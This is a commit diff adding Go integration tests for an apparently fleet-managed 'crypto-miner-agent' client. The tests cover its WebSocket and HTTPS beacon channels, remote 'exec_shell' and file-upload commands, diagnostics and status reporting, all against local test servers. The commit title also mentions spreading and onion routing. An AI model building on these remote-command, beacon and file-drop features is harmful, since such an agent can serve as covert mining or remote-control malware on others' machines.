Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/client/ws_beacon_integration_test.go

@@ -0,0 +1,450 @@
+package client
+
+import (
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/miner"
+	"crypto-miner-agent/stats"
+
+	"github.com/gorilla/websocket"
+)
+
+var wsTestUpgrader = websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
+
+type wsIntegrationPair struct {
+	agentConn *websocket.Conn
+	serverConn *websocket.Conn
+	closeServer func()
+}
+
+func newWSIntegrationPair(t *testing.T) wsIntegrationPair {
+	t.Helper()
+	ready := make(chan *websocket.Conn, 1)
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		conn, err := wsTestUpgrader.Upgrade(w, r, nil)
+		if err != nil {
+			t.Errorf("upgrade: %v", err)
+			return
+		}
+		ready <- conn
+		<-r.Context().Done()
+	}))
+	t.Cleanup(srv.Close)
+
+	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
+	agentConn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+	if err != nil {
+		t.Fatalf("dial: %v", err)
+	}
+	t.Cleanup(func() { _ = agentConn.Close() })
+
+	var serverConn *websocket.Conn
+	select {
+	case serverConn = <-ready:
+	case <-time.After(2 * time.Second):
+		t.Fatal("timed out waiting for server-side WS handshake")
+	}
+
+	return wsIntegrationPair{
+		agentConn:  agentConn,
+		serverConn: serverConn,
+		closeServer: func() { srv.Close() },
+	}
+}
+
+func wireConnectedClient(t *testing.T) (*AgentClient, wsIntegrationPair) {
+	t.Helper()
+	stubFastMiningDiagnostics(t)
+	c := newTestClient(t)
+	c.agentID = "ws-integration-agent"
+	c.connected.Store(true)
+	pair := newWSIntegrationPair(t)
+	c.conn = pair.agentConn
+	return c, pair
+}
+
+func stubFastMiningDiagnostics(t *testing.T) {
+	t.Helper()
+	miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
+	miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
+	SetPostureCollector(func() *PostureReport { return nil })
+	t.Cleanup(func() {
+		miner.SetRuntimeDetector(nil)
+		miner.SetWSLDetector(nil)
+		SetPostureCollector(nil)
+	})
+}
+
+func readServerMessage(t *testing.T, conn *websocket.Conn, wantType string, timeout time.Duration) Message {
+	t.Helper()
+	deadline := time.Now().Add(timeout)
+	for time.Now().Before(deadline) {
+		_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
+		var msg Message
+		if err := conn.ReadJSON(&msg); err != nil {
+			if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway) {
+				t.Fatalf("websocket closed before %s: %v", wantType, err)
+			}
+			if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
+				continue
+			}
+			t.Fatalf("read while waiting for %s: %v", wantType, err)
+		}
+		if msg.Type == wantType {
+			return msg
+		}
+	}
+	t.Fatalf("timed out waiting for %s", wantType)
+	return Message{}
+}
+
+func pollServerMessage(conn *websocket.Conn, wantType string, timeout time.Duration) (Message, error) {
+	deadline := time.Now().Add(timeout)
+	for time.Now().Before(deadline) {
+		_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
+		var msg Message
+		if err := conn.ReadJSON(&msg); err != nil {
+			if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
+				return Message{}, err
+			}
+			var netErr net.Error
+			if errors.As(err, &netErr) && netErr.Timeout() {
+				continue
+			}
+			// Gorilla marks the conn failed after non-timeout errors — never retry.
+			return Message{}, err
+		}
+		if msg.Type == wantType {
+			return msg, nil
+		}
+	}
+	return Message{}, errPollTimeout(wantType)
+}
+
+type pollTimeoutError string
+
+func (e pollTimeoutError) Error() string { return "timeout waiting for " + string(e) }
+
+func errPollTimeout(wantType string) error { return pollTimeoutError(wantType) }
+
+func TestWSWriteStatsRoundTrip(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+	payload, _ := json.Marshal(map[string]string{"probe": "ok"})
+	if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
+		t.Fatalf("write stats: %v", err)
+	}
+	msg, err := pollServerMessage(pair.serverConn, "stats", 2*time.Second)
+	if err != nil {
+		t.Fatalf("read stats: %v", err)
+	}
+	if msg.Type != "stats" {
+		t.Fatalf("type = %q", msg.Type)
+	}
+}
+
+func TestWSCommandResultWriteRoundTrip(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+	payload, _ := json.Marshal(map[string]interface{}{
+		"action": "pause", "success": true, "message": "ok",
+	})
+	if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
+		t.Fatalf("write command_result: %v", err)
+	}
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
+	if err != nil {
+		t.Fatalf("poll: %v", err)
+	}
+	if msg.Type != "command_result" {
+		t.Fatalf("type = %q", msg.Type)
+	}
+}
+
+// TestWSBeaconIntegrationMiningDiagnosticsRoundTrip verifies a mining_diagnostics
+// WS command produces a command_result frame on the wire.
+func TestMiningDiagnosticsHandleCommandHook(t *testing.T) {
+	c := newTestClient(t)
+	stubFastMiningDiagnostics(t)
+	done := make(chan string, 1)
+	c.commandResultHook = func(a string, ok bool, _ string) { done <- a }
+	c.handleCommand("mining_diagnostics", 0, "", "", "", "")
+	select {
+	case a := <-done:
+		if a != "mining_diagnostics" {
+			t.Fatalf("action=%q", a)
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timeout waiting for mining_diagnostics hook")
+	}
+}
+
+func TestWSBeaconIntegrationMiningDiagnosticsRoundTrip(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+
+	c.commandResultHook = func(action string, success bool, _ string) {
+		if action != "mining_diagnostics" || !success {
+			t.Errorf("unexpected hook action=%q success=%v", action, success)
+			return
+		}
+		payload, _ := json.Marshal(map[string]interface{}{
+			"action": action, "success": true, "message": `{"integration":"stub"}`,
+		})
+		if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
+			t.Errorf("write command_result: %v", err)
+		}
+	}
+
+	c.handleCommand("mining_diagnostics", 0, "", "", "", "")
+
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
+	if err != nil {
+		t.Fatalf("read command_result: %v", err)
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &body); err != nil {
+		t.Fatalf("parse command_result: %v", err)
+	}
+	if body["action"] != "mining_diagnostics" {
+		t.Errorf("action = %v", body["action"])
+	}
+	if body["success"] != true {
+		t.Errorf("success = %v", body["success"])
+	}
+}
+
+// TestHandleMessageWSCommandMiningDiagnostics verifies handleMessage routes
+// mining_diagnostics commands over a live WS conn.
+func TestHandleMessageWSCommandMiningDiagnostics(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+	payload, _ := json.Marshal(map[string]interface{}{"action": "mining_diagnostics"})
+
+	done := make(chan struct{})
+	c.commandResultHook = func(action string, success bool, _ string) {
+		if action != "mining_diagnostics" || !success {
+			return
+		}
+		out, _ := json.Marshal(map[string]interface{}{
+			"action": action, "success": true, "message": `{"integration":"stub"}`,
+		})
+		if err := c.write(Message{Type: "command_result", Payload: out}); err != nil {
+			t.Fatalf("write: %v", err)
+		}
+		close(done)
+	}
+
+	c.handleMessage(Message{Type: "command", Payload: payload})
+
+	select {
+	case <-done:
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for handleMessage mining_diagnostics hook")
+	}
+
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
+	if err != nil {
+		t.Fatalf("read command_result: %v", err)
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["action"] != "mining_diagnostics" {
+		t.Fatalf("unexpected command_result: %+v", body)
+	}
+}
+
+// TestWSBeaconIntegrationExecShellRoundTrip verifies exec_shell command dispatch
+// returns command_result over the WS transport (command may fail on host).
+func TestWSBeaconIntegrationExecShellRoundTrip(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+
+	c.handleAICommand("exec_shell", 0, "echo ws-beacon-integration", "", "")
+
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 5*time.Second)
+	if err != nil {
+		t.Fatalf("read command_result: %v", err)
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["action"] != "exec_shell" {
+		t.Errorf("action = %v", body["action"])
+	}
+	if _, ok := body["success"].(bool); !ok {
+		t.Fatalf("success missing in %+v", body)
+	}
+}
+
+// TestWSBeaconIntegrationAISnapshotRequestFlow verifies ai_snapshot_request
+// triggers an ai_snapshot reply on the WebSocket.
+func TestWSBeaconIntegrationAISnapshotRequestFlow(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+	c.cfg = config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "ws-test-node"}}
+
+	c.pushAISnapshot(0)
+
+	msg, err := pollServerMessage(pair.serverConn, "ai_snapshot", 5*time.Second)
+	if err != nil {
+		t.Fatalf("read ai_snapshot: %v", err)
+	}
+	var snap map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &snap); err != nil {
+		t.Fatal(err)
+	}
+	for _, key := range []string{"agent_id", "agent_name", "mining_tiers", "capabilities"} {
+		if _, ok := snap[key]; !ok {
+			t.Errorf("ai_snapshot missing %q", key)
+		}
+	}
+	if snap["agent_name"] != "ws-test-node" {
+		t.Errorf("agent_name = %v", snap["agent_name"])
+	}
+}
+
+// TestWSBeaconIntegrationUploadCommandRoundTrip verifies upload commands travel
+// over WS as command/command_result (base64 payload, no separate chunk frame).
+func TestWSBeaconIntegrationUploadCommandRoundTrip(t *testing.T) {
+	dest := t.TempDir() + "/uploaded.txt"
+	data := base64.StdEncoding.EncodeToString([]byte("ws-upload-payload"))
+
+	c, pair := wireConnectedClient(t)
+	c.handleCommand("upload", 0, "", dest, data, "")
+
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
+	if err != nil {
+		t.Fatalf("read command_result: %v", err)
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["action"] != "upload" {
+		t.Errorf("action = %v", body["action"])
+	}
+	if body["success"] != true {
+		t.Fatalf("upload failed: %v", body["message"])
+	}
+}
+
+// TestBeaconIntegrationHeartbeatLifecycle exercises beaconOnce against an
+// httptest beacon endpoint with registration, stats, and queued commands.
+func TestBeaconIntegrationHeartbeatLifecycle(t *testing.T) {
+	const secret = "agent-beacon-secret"
+	var mu sync.Mutex
+	beaconHits := 0
+	resultHits := 0
+
+	mux := http.NewServeMux()
+	mux.HandleFunc("/api/v1/agent/beacon", func(w http.ResponseWriter, r *http.Request) {
+		if r.Header.Get("X-Fleet-Secret") != secret {
+			http.Error(w, "forbidden", http.StatusForbidden)
+			return
+		}
+		var req map[string]interface{}
+		_ = json.NewDecoder(r.Body).Decode(&req)
+		mu.Lock()
+		beaconHits++
+		hits := beaconHits
+		mu.Unlock()
+
+		resp := map[string]interface{}{"ok": true, "commands": []any{}}
+		if hits == 2 {
+			resp["commands"] = []map[string]interface{}{{"action": "mining_diagnostics"}}
+		}
+		_ = json.NewEncoder(w).Encode(resp)
+	})
+	mux.HandleFunc("/api/v1/agent/beacon/result", func(w http.ResponseWriter, r *http.Request) {
+		if r.Header.Get("X-Fleet-Secret") != secret {
+			http.Error(w, "forbidden", http.StatusForbidden)
+			return
+		}
+		mu.Lock()
+		resultHits++
+		mu.Unlock()
+		_ = json.NewEncoder(w).Encode(map[string]bool{"ok": true})
+	})
+
+	srv := httptest.NewServer(mux)
+	t.Cleanup(srv.Close)
+
+	stubFastMiningDiagnostics(t)
+	c := newTestClient(t)
+	c.pool.Start()
+	t.Cleanup(func() { c.pool.Stop() })
+	c.reporter = stats.NewReporter()
+	c.agentID = "beacon-integration-agent"
+	c.cfg = config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			ServerURL:             srv.URL,
+			FleetSecret:           secret,
+			HTTPSBeaconFallback:   true,
+			HTTPSBeaconAfterMin:   0,
+			BeaconIntervalSec:     1,
+		},
+	}
+
+	if err := c.beaconOnce(srv.URL); err != nil {
+		t.Fatalf("first beaconOnce: %v", err)
+	}
+	if err := c.beaconOnce(srv.URL); err != nil {
+		t.Fatalf("second beaconOnce (with command): %v", err)
+	}
+
+	mu.Lock()
+	defer mu.Unlock()
+	if beaconHits < 2 {
+		t.Fatalf("beacon hits = %d, want >= 2", beaconHits)
+	}
+	if resultHits != 1 {
+		t.Fatalf("beacon result hits = %d, want 1", resultHits)
+	}
+}
+
+// TestWSBeaconIntegrationReconnectPreservesWorkerName verifies auth payload uses
+// worker_name for registration while hostname tracks the machine label separately.
+func TestWSBeaconIntegrationReconnectPreservesWorkerName(t *testing.T) {
+	payload := AuthPayload{
+		AgentID:  "rename-agent",
+		Hostname: "DESKTOP-NEW",
+		Worker:   "Living Room PC",
+		Version:  "1.0",
+	}
+	raw, err := json.Marshal(payload)
+	if err != nil {
+		t.Fatal(err)
+	}
+	var decoded AuthPayload
+	if err := json.Unmarshal(raw, &decoded); err != nil {
+		t.Fatal(err)
+	}
+	if decoded.Worker != "Living Room PC" {
+		t.Fatalf("worker_name = %q", decoded.Worker)
+	}
+	if decoded.Hostname != "DESKTOP-NEW" {
+		t.Fatalf("hostname = %q", decoded.Hostname)
+	}
+	if decoded.Worker == decoded.Hostname {
+		t.Fatal("operator worker_name should differ from machine hostname in reconnect scenario")
+	}
+}
+
+// TestWSBeaconIntegrationDisconnectWriteFails verifies write returns error when
+// the WS connection is nil (post-disconnect cleanup path).
+func TestWSBeaconIntegrationDisconnectWriteFails(t *testing.T) {
+	c := newTestClient(t)
+	c.conn = nil
+	err := c.write(Message{Type: "stats", Payload: json.RawMessage("{}")})
+	if err == nil || !strings.Contains(err.Error(), "not connected") {
+		t.Fatalf("write with nil conn: err=%v", err)
+	}
+}